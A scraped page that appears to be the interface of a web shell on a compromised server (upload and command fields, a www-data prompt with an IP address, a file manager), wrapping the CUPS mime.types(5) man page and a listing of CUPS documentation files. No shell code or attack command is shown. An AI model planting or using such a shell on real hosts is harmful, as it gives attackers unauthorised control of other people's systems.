[ Avaa Bypassed ]




Upload:

Command:

www-data@3.144.115.20: ~ $
<!DOCTYPE HTML>
<html>
<!-- SECTION: Man Pages -->
<head>
	<link rel="stylesheet" type="text/css" href="../cups-printable.css">
	<title>mime.types(5)</title>
</head>
<body>
<h1 class="title">mime.types(5)</h1>
<h2 class="title"><a name="NAME">Name</a></h2>
mime.types - mime type description file for cups
<h2 class="title"><a name="DESCRIPTION">Description</a></h2>
The <b>mime.types</b> file defines the recognized file types.
<p>Additional file types are specified in files with the extension <i>.types</i> in the CUPS configuration directory.
<p>Each line in the <b>mime.types</b> file is a comment, blank, or rule line.
Comment lines start with the # character.
Rule lines start with the MIME media type and are optionally followed by a series of file recognition rules:
<pre class="man">

    <i>mime/type </i>[ <i>rule </i>... <i>rule </i>]

</pre>
Rules can be extended over multiple lines using the backslash character (\):
<pre class="man">

    <i>mime/type </i>[ <i>really-really-really-long-rule </i>... <b>\
      </b><i>rule </i>]

</pre>
MIME media types specified by the <i>mime/type</i> field are case-insensitive and are sorted in ascending alphanumeric order for the purposes of matching.
See the "TYPE MATCHING AND PRIORITY" section for more information.
<p>The rules may be grouped using parenthesis, joined using "+" for a logical AND, joined using "," or whitespace for a logical OR, and negated using "!".
<h3><a name="RULES">Rules</a></h3>
Rules take two forms - a filename extension by itself and functions with test
values inside parenthesis.
The following functions are available:
<dl class="man">
<dt><b>match("</b><i>pattern</i><b>")</b>
<dd style="margin-left: 5.0em">True if the filename matches the given shell wildcard <i>pattern</i>.
<dt><b>ascii(</b><i>offset</i><b>,</b><i>length</i><b>)</b>
<dd style="margin-left: 5.0em">True if the <i>length</i> bytes starting at <i>offset</i> are valid printable ASCII (CR, NL, TAB, BS, 32-126).
<dt><b>printable(</b><i>offset</i><b>,</b><i>length</i><b>)</b>
<dd style="margin-left: 5.0em">True if the <i>length</i> bytes starting at <i>offset</i> are printable 8-bit chars (CR, NL, TAB, BS, 32-126, 128-254).
<dt><b>priority(</b><i>number</i><b>)</b>
<dd style="margin-left: 5.0em">Specifies the relative priority of this MIME media type.
The default priority is 100.
Larger values have higher priority while smaller values have lower priority.
<dt><b>string(</b><i>offset</i><b>,"</b><i>string</i><b>")</b>
<dd style="margin-left: 5.0em">True if the bytes starting at <i>offset</i> are identical to <i>string</i>.
<dt><b>istring(</b><i>offset</i><b>,"</b><i>string</i><b>")</b>
<dd style="margin-left: 5.0em">True if the bytes starting at <i>offset</i> match <i>string</i> without respect to case.
<dt><b>char(</b><i>offset</i><b>,</b><i>value</i><b>)</b>
<dd style="margin-left: 5.0em">True if the byte at <i>offset</i> is identical to <i>value</i>.
<dt><b>short(</b><i>offset</i><b>,</b><i>value</i><b>)</b>
<dd style="margin-left: 5.0em">True if the 16-bit big-endian integer at <i>offset</i> is identical to <i>value</i>.
<dt><b>int(</b><i>offset</i><b>,</b><i>value</i><b>)</b>
<dd style="margin-left: 5.0em">True if the 32-bit big-endian integer at <i>offset</i> is identical to <i>value</i>.
<dt><b>locale("</b><i>string</i><b>")</b>
<dd style="margin-left: 5.0em">True if current locale matches <i>string</i>.
<dt><b>contains(</b><i>offset</i><b>,</b><i>range</i><b>,"</b><i>string</i><b>")</b>
<dd style="margin-left: 5.0em">True if the bytes starting at <i>offset</i> for <i>range</i> bytes contains <i>string</i>.
</dl>
<h3><a name="STRING_CONSTANTS">String Constants</a></h3>
String constants can be specified inside quotes ("") for strings containing whitespace and angle brackets (&lt;>) for hexadecimal strings.
<h3><a name="TYPE_MATCHING_AND_PRIORITY">Type Matching And Priority</a></h3>
When CUPS needs to determine the MIME media type of a given file, it checks every MIME media type defined in the <i>.types</i> files.
When two or more types match a given file, the type chosen will depend on the type name and priority, with higher-priority types being used over lower-priority ones.
If the types have the same priority, the type names are sorted alphanumerically in ascending order and the first type is chosen.
<p>For example, if two types "text/bar" and "text/foo" are defined as matching the
extension "doc", normally the type "text/bar" will be chosen since its name is
alphanumerically smaller than "text/foo".
However, if "text/foo" also defines a higher priority than "text/bar", "text/foo" will be chosen instead.
<h2 class="title"><a name="FILES">Files</a></h2>
<i>/etc/cups</i> - Typical CUPS configuration directory.
<h2 class="title"><a name="EXAMPLES">Examples</a></h2>
Define two MIME media types for raster data, with one being a subset with higher priority:
<pre class="man">

    application/vnd.cups-raster  string(0,"RaSt") string(0,"tSaR") \
                                  string(0,"RaS2") string(0,"2SaR") \
                                  string(0,"RaS3") string(0,"3SaR")

    image/pwg-raster              string(0,"RaS2") + \
                                  string(4,PwgRaster&lt;00>) priority(150)
</pre>
<h2 class="title"><a name="SEE_ALSO">See Also</a></h2>
<b>cups-files.conf</b>(5),
<b>cupsd.conf</b>(5),
<b>cupsd</b>(8),
<b>cupsfilter</b>(8),
<b>mime.convs</b>(5),
CUPS Online Help (<a href="http://localhost:631/help">http://localhost:631/help</a>)
<h2 class="title"><a name="COPYRIGHT">Copyright</a></h2>
Copyright &copy; 2007-2019 by Apple Inc.

</body>
</html>

Filemanager

Name Type Size Permission Actions
accounting.html File 2.63 KB 0644
admin.html File 11.66 KB 0644
api-admin.html File 19.99 KB 0644
api-filter.html File 61.66 KB 0644
api-ppd.html File 92.21 KB 0644
api-raster.html File 59.02 KB 0644
cgi.html File 2.58 KB 0644
cupspm.html File 370.35 KB 0644
encryption.html File 4.21 KB 0644
firewalls.html File 3.94 KB 0644
glossary.html File 2.66 KB 0644
kerberos.html File 4.21 KB 0644
license.html File 11.78 KB 0644
man-backend.html File 9.35 KB 0644
man-cancel.html File 2.56 KB 0644
man-classes.conf.html File 1.15 KB 0644
man-client.conf.html File 6.91 KB 0644
man-cups-config.html File 3.3 KB 0644
man-cups-files.conf.html File 12.26 KB 0644
man-cups-lpd.html File 4.75 KB 0644
man-cups-snmp.html File 2.72 KB 0644
man-cups.html File 7.43 KB 0644
man-cupsaccept.html File 2.48 KB 0644
man-cupsd-helper.html File 2.59 KB 0644
man-cupsd-logs.html File 9.55 KB 0644
man-cupsd.conf.html File 37.78 KB 0644
man-cupsd.html File 3.22 KB 0644
man-cupsenable.html File 2.97 KB 0644
man-cupstestppd.html File 4.83 KB 0644
man-filter.html File 11.36 KB 0644
man-ippevepcl.html File 1.88 KB 0644
man-ippeveprinter.html File 9.88 KB 0644
man-ippfind.html File 9.72 KB 0644
man-ipptool.html File 7.53 KB 0644
man-ipptoolfile.html File 27.3 KB 0644
man-lp.html File 7.32 KB 0644
man-lpadmin.html File 10.04 KB 0644
man-lpc.html File 2.11 KB 0644
man-lpinfo.html File 3.66 KB 0644
man-lpmove.html File 1.91 KB 0644
man-lpoptions.html File 3.88 KB 0644
man-lpq.html File 1.97 KB 0644
man-lpr.html File 5.93 KB 0644
man-lprm.html File 2.08 KB 0644
man-lpstat.html File 4.55 KB 0644
man-mime.convs.html File 2.59 KB 0644
man-mime.types.html File 5.47 KB 0644
man-notifier.html File 1.35 KB 0644
man-ppdc.html File 3.5 KB 0644
man-ppdhtml.html File 1.83 KB 0644
man-ppdi.html File 1.99 KB 0644
man-ppdmerge.html File 1.75 KB 0644
man-ppdpo.html File 2.09 KB 0644
man-printers.conf.html File 1.18 KB 0644
man-subscriptions.conf.html File 1.22 KB 0644
network.html File 18.56 KB 0644
options.html File 16.42 KB 0644
overview.html File 3.4 KB 0644
policies.html File 21.25 KB 0644
postscript-driver.html File 23.26 KB 0644
ppd-compiler.html File 45.13 KB 0644
raster-driver.html File 20.32 KB 0644
ref-ppdcfile.html File 69.29 KB 0644
security.html File 4.44 KB 0644
sharing.html File 4.45 KB 0644
spec-banner.html File 4.05 KB 0644
spec-command.html File 6.08 KB 0644
spec-design.html File 13.05 KB 0644
spec-ipp.html File 65.4 KB 0644
spec-ppd.html File 90.33 KB 0644
spec-raster.html File 23.34 KB 0644
spec-stp.html File 3.79 KB 0644
translation.html File 24.29 KB 0644